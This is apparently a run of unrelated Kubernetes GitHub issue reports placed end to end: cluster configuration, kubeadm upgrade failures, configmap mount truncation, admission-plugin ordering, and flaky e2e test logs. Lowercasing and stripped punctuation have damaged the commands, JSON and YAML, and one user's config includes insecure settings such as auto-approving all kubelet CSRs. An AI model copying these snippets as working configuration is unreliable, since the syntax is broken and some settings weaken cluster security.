--admission-control=serviceaccount,namespacelifecycle,namespaceexists,limitranger,resourcequota,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds\ \r  \r \r kube_api_args=\ --authorization-mode=rbac --runtime-config=rbac.authorization.k8s.io/v1beta1 --kubelet-https=true --experimental-bootstrap-token-auth=true --token-auth-file=/etc/kubernetes/token.csv --service-node-port-range=30000-32767 --tls-cert-file=/etc/kubernetes/ssl/kubernetes.pem --tls-private-key-file=/etc/kubernetes/ssl/kubernetes-key.pem --client-ca-file=/etc/kubernetes/ssl/ca.pem --service-account-key-file=/etc/kubernetes/ssl/ca-key.pem --etcd-cafile=/etc/kubernetes/ssl/ca.pem --etcd-certfile=/etc/kubernetes/ssl/kubernetes.pem --etcd-keyfile=/etc/kubernetes/ssl/kubernetes-key.pem --enable-swagger-ui=true --apiserver-count=3 --audit-log-maxage=30 --audit-log-maxbackup=3 --audit-log-maxsize=100 --audit-log-path=/var/lib/audit.log --event-ttl=1h\ \r \r   and the /etc/kubernetes/config is:  \r \r kube_logtostderr=\ --logtostderr=true\ \r \r kube_log_level=\ --v=0\ \r \r kube_allow_priv=\ --allow-privileged=true\ \r \r kube_master=\ --master=https://10.71.156.239:6443\ \r \r \r   the controller-manager configuration is :   \r  unit \r description=kube-controller-manager\r after=network.target\r after=kube-apiserver.service\r \r  service \r execstart=/usr/local/bin/kube-controller-manager \\\r             --logtostderr=true \\\r             --v=0 \\\r             --master=https://10.71.156.239:6443 \\\r              --kubeconfig=/etc/kubernetes/controller-manager.conf \\\r             --cluster-name=kubernetes \\\r             --cluster-signing-cert-file=/etc/kubernetes/ssl/ca.pem \\\r             --cluster-signing-key-file=/etc/kubernetes/ssl/ca-key.pem \\\r             --service-account-private-key-file=/etc/kubernetes/ssl/ca-key.pem \\\r             --root-ca-file=/etc/kubernetes/ssl/ca.pem \\\r              --insecure-experimental-approve-all-kubelet-csrs-for-group=system:bootstrappers \\\r              --use-service-account-credentials=true \\\r             --service-cluster-ip-range=10.254.0.0/16 \\\r             --cluster-cidr=192.168.0.0/16 \\\r             --allocate-node-cidrs=true \\\r             --leader-elect=true \\\r              --controllers= ,bootstrapsigner,tokencleaner \\\r             --address=127.0.0.1\r restart=on-failure\r type=simple\r limitnofile=65536\r \r  install \r wantedby=multi-user.target\r \r so how can i solve the problem? thanks!

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r running  kubectl explain   missing resource  outputs a list of valid resources for the command. however a number of these resources cause  kubectl explain  to throw an error.\r \r   what you expected to happen  :\r \r it would be nicer if the suggested list of valid resources all had documentation i.e no error returned when passing any resource from the list of valid resources to  kubectl explain .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ kubectl explain clusters\r error: api version: federation/v1beta1 is not supported by the server. use one of:  authentication.k8s.io/v1 authentication.k8s.io/v1beta1 authorization.k8s.io/v1 authorization.k8s.io/v1beta1 autoscaling/v1 autoscaling/v2alpha1 batch/v1 batch/v2alpha1 certificates.k8s.io/v1beta1 extensions/v1beta1 policy/v1beta1 rbac.authorization.k8s.io/v1beta1 rbac.authorization.k8s.io/v1alpha1 settings.k8s.io/v1alpha1 storage.k8s.io/v1beta1 storage.k8s.io/v1 apps/v1beta1 v1 \r    \r and also\r    \r kubectl explain all\r the server doesn't have a resource type \ all\ \r    \r   anything else we need to know?  :\r \r i have implemented a test to catch the failing calls. will submit pr once issue is raised.\r \r   environment  :\r bug present in master branch as well as in v1.6.4\r    \r $ kubectl version --short --client\r client version: v1.6.4\r \r $ _output/bin/kubectl version --short --client\r client version: v1.8.0-alpha.2.1430+ae4fac416d60b3-dirty\r    \r run against minikube instance\r    \r $ minikube version \r minikube version: v0.20.0\r    \r \r os and kernel\r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r linux eros 4.4.0-89-generic  112-ubuntu smp mon jul 31 19:38:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r for now, if pv.spec.capacity already is of size greater or equal than requested size,  expandvolumedevice  will never be performed, but fs resize may be run.\r \r   what you expected to happen  :\r  if pv.spec.capacity already is of size greater or equal than requested size, fs resize will not be executed neither\r \r /cc @gnufied  @k8s-mirror-storage-bugs

in  4333 we removed the last hostport from the existing e2e test suite  making the tests more reliable  but this leaves a gap in our e2e testing, which should cover hostports if we continue to support them.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r    \r apt-get update && apt-get dist-upgrade\r reboot\r    \r only after i did ^ i started to read https://kubernetes.io/docs/tasks/administer-cluster/kubeadm-upgrade-1-8/\r \r > upgrading the kubeadm package on your system prior to upgrading the control plane causes a failed upgrade. \r \r but unfortunately there were no notes about what if you already got into this situation. in my case kube cluster was corrupted already  master node was not ready .\r \r i tried to run an upgrade for kubeadm\r \r    \r $ sudo kubeadm config upload from-flags  some flags i used  pod network  \r $ sudo kubeadm upgrade plan\r  preflight  running pre-flight checks\r  upgrade  making sure the cluster is healthy:\r  upgrade/health  checking api server health: healthy\r  upgrade/health  checking node health: more than one node unhealthy\r  upgrade/health  fatal: the cluster is not in an upgradeable state due to: there are notready nodes in the cluster:\r    \r \r checked the logs and have found issue with swap flag\r \r    \r error: failed to run kubelet: running with swap on is not supported, please disable swap! or set --fail-swap-on flag to false. /proc/swaps contained:\r    \r \r updated my kubelet config.\r \r my node became ready so i followed upgrade procedure, upgrade from 1.7.4 succeeded to 1.8.0.\r \r after that all my pods failed to start with\r \r    \r oct  5 19:52:26 outcoldbuntu kubelet 1136 : e1005 19:52:26.372706    1136 remote_runtime.go:115  stoppodsandbox \ 4e866f1867e52770b060441e23a58b4ab388a3a4f66b5f28a77ec74fd1c9501a\  from runtime service failed: rpc error: code = unknown desc = networkplugin cni failed to teardown pod \ licenseserver-4096630682-8twvn_default\  network: could not retrieve port mappings: checkpoint is corrupted.\r oct  5 19:52:26 outcoldbuntu kubelet 1136 : e1005 19:52:26.372748    1136 kuberuntime_manager.go:780  failed to stop sandbox {\ docker\  \ 4e866f1867e52770b060441e23a58b4ab388a3a4f66b5f28a77ec74fd1c9501a\ }\r oct  5 19:52:26 outcoldbuntu kubelet 1136 : e1005 19:52:26.372855    1136 kuberuntime_manager.go:580  killpodwithsyncresult failed: failed to \ killpodsandbox\  for \ 69fbeb11-91c1-11e7-a34f-bc5ff44b93f5\  with killpodsandboxerror: \ rpc error: code = unknown desc = networkplugin cni failed to teardown pod \\\ licenseserver-4096630682-8twvn_default\\\  network: could not retrieve port mappings: checkpoint is corrupted.\ \r oct  5 19:52:26 outcoldbuntu kubelet 1136 : e1005 19:52:26.372907    1136 pod_workers.go:182  error syncing pod 69fbeb11-91c1-11e7-a34f-bc5ff44b93f5  \ licenseserver-4096630682-8twvn_default 69fbeb11-91c1-11e7-a34f-bc5ff44b93f5 \  , skipping: failed to \ killpodsandbox\  for \ 69fbeb11-91c1-11e7-a34f-bc5ff44b93f5\  with killpodsandboxerror: \ rpc error: code = unknown desc = networkplugin cni failed to teardown pod \\\ licenseserver-4096630682-8twvn_default\\\  network: could not retrieve port mappings: checkpoint is corrupted.\ \r    \r \r after browsing the code i have found that it is better to have missing checkpoints than to have checkpoints with broken checksums https://github.com/kubernetes/kubernetes/blob/50fa5637b6dc9538c908fbdd632ff1d3c59f65da/pkg/kubelet/dockershim/docker_service.go l325\r \r so i just removed all the checkpoints under  /var/lib/dockershim/sandbox/  \r \r   what you expected to happen  :\r \r 1. kubelet/kubeadm should not require disabling swap. at minimum not in upgrade.\r 2. kubelet/kubeadm should not generate checkpoints with broken checksums in upgrades  not sure what can cause that . \r 3. in case of broken checksums there are should be better way to get out of this situation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i assume to try steps from above^\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : 4.10.0-35-generic  39~16.04.1-ubuntu smp wed sep 13 09:02:42 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

i would like to remove the cadvisor ui & api from kubernetes. motivations include:\r \r - cadvisor port is unauthenticated, and can leak internal cluster information\r - we may eventually move away from embedded cadvisor  as part of the migration to cri \r - alternatives exist  run a standalone cadvisor daemon set in the cluster \r \r /cc @kubernetes/sig-node-bugs @kubernetes/sig-instrumentation-bugs

flaky job: pr:pull-kubernetes-node-e2e  flakes in the past week:   59    consistency:   95.80%         flakiest tests by flake count: | test | flake count | | --- | --- | | node tests | 58 | |  k8s.io  summary api when querying /stats/summary should report resource usage through the stats api | 25 |  /assign @random-liu   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | random-liu |  k8s.io  summary api when querying /stats/summary should report resource usage through the stats api | | sig/api-machinery |  k8s.io  summary api when querying /stats/summary should report resource usage through the stats api |  </details><br>   flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r  \r \r   what happened  :\r \r hi meows\r \r currently we have several independent defs of  fake discovery  which is confusing and hard to read.\r \r as is shown below, a list of dup defs:\r \r -  pkg/kubectl/cmd/top_pod_test.go  https://github.com/kubernetes/kubernetes/blob/df3637967015c9770c67140d4bbf99467c87abf8/pkg/kubectl/cmd/top_pod_test.go l382 \r -  staging/src/k8s.io/client-go/discovery/cached/memcache_test.go  https://github.com/kubernetes/kubernetes/blob/3f0141edd52ab6fd7b6fe473ecceb480faf12079/staging/src/k8s.io/client-go/discovery/cached/memcache_test.go l29 \r -  staging/src/k8s.io/client-go/discovery/fake/discovery.go  https://github.com/kubernetes/kubernetes/blob/a9e244d81f05d1fa6965f33b9a3ec04cce6d058f/staging/src/k8s.io/client-go/discovery/fake/discovery.go   should  be the one and only\r \r   what you expected to happen  :\r \r only one defs of  fake discovery \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r in v1.10, 7c5f9e0bbaff15570f1709e70b7fa6952395d7cd introduced the ability to not worry about admission control order because it's handled  here  https://github.com/kubernetes/kubernetes/commit/7c5f9e0bbaff15570f1709e70b7fa6952395d7cd diff-57937e32f92262c443a2a79eb463e3b5r64 \r \r    alwayspullimages    is before    mutatingadmissionwebhook   . when trying to use istio sidecar injection, the pod fails to initialize stating\r \r    error creating: pods \ sleep-86f6b99f94-qxvq6\  is forbidden: spec.initcontainers 0 .imagepullpolicy: unsupported value: \ ifnotpresent\ : supported values: \ always\    \r \r in v1.9, everything works as expected when placing    alwayspullimages    after    mutatingadmissionwebhook   . if you put    alwayspullimages    before    mutatingadmissionwebhook   , the same error above occurs.\r \r   what you expected to happen  :\r \r in v1.10, when    alwayspullimages    and    mutatingadmissionwebhook    are turned on, sidecar injection like istio should work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   in v1.10, enable    alwayspullimages    and    mutatingadmissionwebhook    admission controllers. \r    install latest istio  https://istio.io/docs/setup/kubernetes/quick-start.html \r    enable sidecar injection  https://istio.io/docs/setup/kubernetes/sidecar-injection.html automatic-sidecar-injection \r   enabled istio injection on a namespace ie    kubectl label namespace default istio-injection=enabled   \r   deploy anything in that namespace\r   run    kubectl describe rs  replica_set_name    . you should see error events similar to    error creating: pods \ sleep-86f6b99f94-qxvq6\  is forbidden: spec.initcontainers 0 .imagepullpolicy: unsupported value: \ ifnotpresent\ : supported values: \ always\    \r   turning off    alwayspullimages    seems to fix istio\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.3\r - cloud provider or hardware configuration: acs-engine\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r when launching a pod referencing existing ebs the pod does not get launched on the node where the ebs gets attached. i have to kill that one and new one gets created this time on the right node. initially the ebs is in  available  state and k8s does the right thing and attaches the volume to the the node running in the same az  there is only single node per each zone . but then it launches the pod on a wrong node, one that the ebs is not attached to. during consecutive killing of the pod i have observed random results, sometimes it gets launched on the correct node where the ebs is and stays attached and sometime does not.\r \r   what you expected to happen  :\r pod should always get launched on the node where the ebs gets/was attached.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create an ebs volume in an az and launch a pod with:\r    \r ...\r         volumemounts:\r           - mountpath: /mnt\r             name: my-ebs\r       volumes:\r       - name: my-ebs\r         awselasticblockstore:\r           volumeid: vol-xxxxxx\r    \r and observe on which node the pod gets created. it should be the one to which k8s attaches the ebs volume but that's not always the case.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8.10  jessie \r - kernel  e.g.  uname -a  : 4.4.115-k8s\r - install tools: kops\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  sig-release-master-upgrade/gce-new-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-master \r \r   which test s  are failing  :\r   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicationcontroller should scale from 1 pod to 3 pods and from 3 to 5 and verify decision stability  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1862 sig-autoscaling-hpa-horizontal-pod-autoscaling-scale-resource-cpu-sig-autoscaling-serial-slow-replicationcontroller-should-scale-from-1-pod-to-3-pods-and-from-3-to-5-and-verify-decision-stability \r \r   since when has it been failing  :\r november 3rd, 2018\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-master\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1862 sig-autoscaling-hpa-horizontal-pod-autoscaling-scale-resource-cpu-sig-autoscaling-serial-slow-replicationcontroller-should-scale-from-1-pod-to-3-pods-and-from-3-to-5-and-verify-decision-stability\r \r   anything else we need to know  :\r  diff towards last passing commit  https://github.com/kubernetes/kubernetes/compare/3293f02d0...46d173232?  hints at  69698 .\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r   isdns1123subdomain   https://github.com/kubernetes/kubernetes/blob/f3b98a08b05257fbc3c19b52ced70ea67c546b1e/staging/src/k8s.io/apimachinery/pkg/util/validation/validation.go l135  and   isdns1123label   https://github.com/kubernetes/kubernetes/blob/f3b98a08b05257fbc3c19b52ced70ea67c546b1e/staging/src/k8s.io/apimachinery/pkg/util/validation/validation.go l116  do not allow uppercase letters.\r \r i ran into this when trying to start kubelet on a node with an all-caps hostname. the node can't register when its node name defaults to the hostname and the hostname includes capital letters.\r \r   what you expected to happen  : \r they should allow uppercase letters.\r  rfc 952  https://tools.ietf.org/html/rfc952  says \ no distinction is made between upper and lower case.\  \r  rfc 1123  https://tools.ietf.org/html/rfc1123 page-13  doesn't change that  just allows the first character to be a number . \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r asp.net core spa with external config in wwwroot/config/config.json\r \r contents of config.json:\r    \r {\r   \ termsandconditionslink\ : \ https://some-dev-url.with/legal/terms/\ \r }\r    \r \r when the file is   not being overwritten by a configmap  , it works fine and i am able to get the full content of file.\r    \r curl https://www.dev-app.com/config/config.json\r {\r   \ termsandconditionslink\ : \ https://some-dev-url.with/legal/terms/\ \r }\r    \r \r   \r \r when configmap data is mounted to a this path with volume, it is not returned entirely.\r    \r curl https://www.dev-app.com/config/config.json\r {\r   \ termsandcon\r    \r \r the file is present in pod:\r \r    \r pwd\r /app/wwwroot/config\r \r ls -la\r total 12\r drwxrwxrwx 3 root root 4096 nov 20 08:48 .\r drwxr-xr-x 6 root root 4096 nov 20 08:46 ..\r drwxr-xr-x 2 root root 4096 nov 20 08:48 ..2018_11_20_08_48_02.390652870\r lrwxrwxrwx 1 root root   31 nov 20 08:48 ..data -> ..2018_11_20_08_48_02.390652870\r lrwxrwxrwx 1 root root   18 nov 20 08:48 config.json -> ..data/config.json\r \r cat config.json\r {\r   \ termsandconditionslink\ : \ https://some-dev-url.with/legal/terms/\ \r }\r    \r \r   configmap.yaml  \r    \r kind: configmap\r apiversion: v1\r metadata:\r   name: my-config\r data:\r   config.json: |-\r     {\r       \ termsandconditionslink\ : \ https://some-dev-url.with/legal/terms/\ \r     }\r    \r \r   deployment.yaml  \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: my-app\r   labels:\r \t...\r spec:\r   template:\r     metadata:\r       labels:\r \t\t...\r     spec:\r       containers:\r \t\t...\r           volumemounts:\r             - name: my-volume\r               mountpath: /app/wwwroot/config\r       volumes:\r         - name: my-volume\r           configmap:\r             name: my-config\r    \r \r   what you expected to happen  :\r  \r curl https://www.dev-app.com/config/config.json\r    should return the full contents of mounted file.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r this is issue is resolved when specifying subpath.\r    \r ...\r \tvolumemounts:\r             - name: my-volume\r               mountpath: /app/wwwroot/config/config.json\r               subpath: config.json\r       volumes:\r         - name: my-volume\r           configmap:\r             name: my-config\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.2-gke.18\ , gitcommit:\ 5796233393d7bc034428de15191ad3d2eaff95fb\ , gittreestate:\ clean\ , builddate:\ 2018-11-08t20:49:08z\ , goversion:\ go1.10.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r  gke  \r - os  e.g. from /etc/os-release :\r  ubuntu 16.04.5 lts \r \r  \r <!-- do not edit below this line -->\r 

@davidopp   there needs to be a method to specify the data type of a label when it is something other than a string.  in  18261 strings can be interpreted as integers but there is no way to represent a values that are natively numbers as numbers throughout kubernetes.  kubernetes should additionally support float, boolean, and integer labels.  the additional datatypes are most useful when integrating with third party schedulers, reporting, and monitoring solutions allowing for a consistent and accurate representation of the values in all systems.

http://kubernetes.io/docs/getting-started-guides/  someone on slack reported a week or so ago that the fedora rpm  i think they were following  fedora manual config  http://kubernetes.io/docs/getting-started-guides/fedora/fedora_manual_config/   had all the extension apis disabled for some reason.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/2678/  failed:  k8s.io  kubectl client  k8s.io  kubectl run job should create a job from an image when restart is onfailure  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1100 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.196.201.251 --kubeconfig=/workspace/.kube/config run e2e-test-nginx-job --restart=onfailure --generator=job/v1 --image=gcr.io/google_containers/nginx-slim:0.7 --namespace=e2e-tests-kubectl-uu7vr      <nil>  unable to connect to the server: read tcp 172.17.0.5:48842->104.196.201.251:443: read: connection timed out\     <nil> 0xc820bfeb00 exit status 1 <nil> true  0xc8200e8440 0xc8200e8458 0xc8200e8470   0xc8200e8440 0xc8200e8458 0xc8200e8470   0xc8200e8450 0xc8200e8468   0xafa720 0xafa720  0xc820c2a9c0}:\ command stdout:\ \ stderr:\ unable to connect to the server: read tcp 172.17.0.5:48842->104.196.201.251:443: read: connection timed out\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.196.201.251 --kubeconfig=/workspace/.kube/config run e2e-test-nginx-job --restart=onfailure --generator=job/v1 --image=gcr.io/google_containers/nginx-slim:0.7 --namespace=e2e-tests-kubectl-uu7vr      <nil>  unable to connect to the server: read tcp 172.17.0.5:48842->104.196.201.251:443: read: connection timed out         <nil> 0xc820bfeb00 exit status 1 <nil> true  0xc8200e8440 0xc8200e8458 0xc8200e8470   0xc8200e8440 0xc8200e8458 0xc8200e8470   0xc8200e8450 0xc8200e8468   0xafa720 0xafa720  0xc820c2a9c0}:     command stdout:          stderr:     unable to connect to the server: read tcp 172.17.0.5:48842->104.196.201.251:443: read: connection timed out          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2183       previous issues for this test:  28584  32045  34833  35429  35442  35461

using a external strategy in workload controllers is probably an acceptable way for users to specify which controllers they want to orchestrate externally via operators or any kind of external controller. think of external as \ the kubernetes core will do nothing with a particular controller\  or actually everything other than the orchestration part  status updates, overlap resolution, pod creation/deletion failure detection are some common actions across any kind of strategy and we should have those baked in the controller manager - already in for deployments . daemonsets and statefulsets will need external to maintain backwards compatibility too.\r \r @kubernetes/sig-apps-misc

gce cloud node name has a length limitation, so the node name prefix might be adjusted https://cs.corp.google.com/piper///depot/google3/cloud/kubernetes/common/cluster.go?rcl=148419331&l=437\r \r however, in gce.go, functions such as getinstancesbyname and computehosttags uses node instance prefix to set up a filter when making api calls. it checks whether the instance name conform the predefined node instance name. in case of name truncation, the check fails and the apis will just return all instances. this will cause high overhead especially for large cluster. also even use prefix might not efficient. suppose all instances in the cluster use the same prefix, the function will still return all instances instead of the given list.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-staging/2407/ multiple broken tests:  failed:  k8s.io  schedulerpredicates  serial  validates that embedding the json nodeaffinity setting as a string in the annotation value work {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc422d1c7b0>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  29816  30018  33974   failed:  k8s.io  schedulerpredicates  serial  validates that interpodaffinity is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc4225eb0d0>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  36914   failed:  k8s.io  schedulerpredicates  serial  validates that inter-pod-affinity is respected if not matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421abc180>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  31918   failed:  k8s.io  schedulerpredicates  serial  validates that a pod with an invalid nodeaffinity is rejected {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc42284cdd0>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  33883   failed:  k8s.io  schedulerpredicates  serial  validates that embedding the json podaffinity and podantiaffinity setting as a string in the annotation value work {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc420d545e0>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78       failed:  k8s.io  proxy version v1 should proxy logs on node with explicit kubelet port  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:141 expected error:     < errors.errorstring | 0xc42038c8b0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:229     issues about this test specifically:  32936   failed:  k8s.io  nodeproblemdetector  k8s.io  kernelmonitor should generate node condition and events for corresponding errors {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node_problem_detector.go:240 expected error:     < errors.statuserror | 0xc4210a2f80>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-node-problem-detector-0gf90/pods\\\\\\\ \\\   has prevented the request from succeeding  post pods \ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /api/v1/namespaces/e2e-tests-node-problem-detector-0gf90/pods\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-node-problem-detector-0gf90/pods\\\ \   has prevented the request from succeeding  post pods  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node_problem_detector.go:230     issues about this test specifically:  28069  28168  28343  29656  33183  38145   failed:  k8s.io  schedulerpredicates  serial  validates maxpods limit number of pods that are allowed to run  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc422f0d3d0>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  27662  29820  31971  32505  34221  35106  35110  35121  37509   failed:  k8s.io  schedulerpredicates  serial  validates that a pod with an invalid podaffinity is rejected because of the labelselectorrequirement is invalid {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc42196ad70>: {         s: \ namespace e2e-tests-svcaccounts-kfv90 is active\ ,     }     namespace e2e-tests-svcaccounts-kfv90 is active not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:78     issues about this test specifically:  35279   failed:  k8s.io  schedulerpredicates  serial  validates that nodeaffinity is respected if not matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc420a22ae0>: {         s: \ namespace 